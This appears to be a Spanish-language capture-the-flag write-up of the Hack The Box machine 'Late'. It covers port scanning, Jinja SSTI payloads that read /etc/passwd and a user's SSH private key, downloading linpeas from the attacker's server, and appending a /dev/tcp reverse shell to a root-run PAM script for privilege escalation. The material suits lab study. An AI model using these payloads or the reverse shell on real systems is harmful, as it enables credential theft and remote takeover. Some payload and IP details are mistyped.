Hacemos nuestro escaneo de puertos como es usual y verificamos cuáles están abiertos y qué servicios están corriendo en cada uno, por ejemplo en esta Máquina tenemos el puerto 80 y 22
nmap -p- --open --min-rate 5000 -Pn 10.10.11.156 -oG puertosAbiertos
Vemos que en el puerto 80 está corriendo un servidor web late.htb lo agregamos a nuestro archivo /etc/hosts de nuestra máquina
10.10.11.156 late.htb
Mientras hacemos un recorrido por la página notamos que en la parte de abajo tenemos unos nuevos enlaces que apuntan a images.late.htb , lo añadimos a /etc/hosts para luego ingresar a la URL, y vemos la siguiente vista:
En el archivo /etc/hosts de nuestra máquina añadimos:
10.10.11.156 images.late.htb
Nos vamos a la nueva URL:

Vemos en el título que esta página usa Flask, necesitamos saber como funciona este conversor de imagen a texto creamos nuestra imagen con Photoshop, GIMP, etc. Testeamos la App para vulnerabilidades comunes como XSS, SQLi y CMDi abrimos e ingresamos payloads para estas vulnerabilidades enganchamos que una SSTI funciona { { 7 * 7 } }
Lo subimos a la web y nos retorna un archivo llamado result.txt con el siguiente contenido.
La palabra “Late” nos dice porque un SSTi pudo funcionar (Temp”late”). Al intentar conseguir nuestro RCE al subir una imagen con el siguiente payload por ejemplo
{{ ‘’.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read() }}
La web lo procesa y al convertir imagen a texto algunos caracteres son añadidos y otros se pierden
f{ ‘’_lsd__. _mro__.subclasses__([‘/etc/passwd’).read() }}
Después de verificar esto notamos que tenemos ejecución de remota de comandos y podemos ver el archivo /etc/passwd Notamos que hay un usuario "svc_acc" con su llave ssh privada y capacidad de login. Volvemos a subir nuestro payload, cambiando el path al archivo id_rsa.
IMAGEN {{ ‘’.__class__.__mro__[2].__subclasses__()[40](‘/home/svc_acc/.ssh/id_rsa’).read() }}
Ahora que tenemos el id_rsa hacemos un login con el usuario svc_acc
chmod 600 id_rsa
ssh svc_acc@10.10.10.156 -i id_rsa
Descargamos linpeas e intentamos enumerar rutas con privilegios. Montamos nuestro servidor
python3 -m http.server 8080
Luego en la máquina Late
svc_acc@late:~$ wget http://10.10.14.63:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Encontramos el archivo ssh-alert.sh.
svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh #!/bin/bash RECIPIENT=”root@late.htb” SUBJECT=”Email from Server Login: SSH Alert” BODY=” A SSH login was detected. User: $PAM_USER User IP Host: $PAM_RHOST Service: $PAM_SERVICE TTY: $PAM_TTY Date: `date` Server: `uname -a` “ if [ ${PAM_TYPE} = “open_session” ]; then echo “Subject:${SUBJECT} ${BODY}” | /usr/sbin/sendmail ${RECIPIENT} fi
Vemos que se ejecuta cada vez que entablamos una sesión inspeccionamos los atributos que tiene aunque no tiene el de escribir podemos crear un archivo y anexarlo.
svc_acc@late:~$ lsattr /usr/local/sbin/ssh-alert.sh — — -a — — — — e — — /usr/local/sbin/ssh-alert.sh
Creamos un archivo file.txt con el payload de Reverse Shell y lo añadimos al archivo ssh-alert.sh
bash -i >& /dev/tcp/10.10.14.63/9999 0>&1
cat file.txt >> /usr/local/sbin/ssh-alert.sh
Configuramos un netcat en la Late y en nuestra máquina hacemos login.
nc -lvnp 9999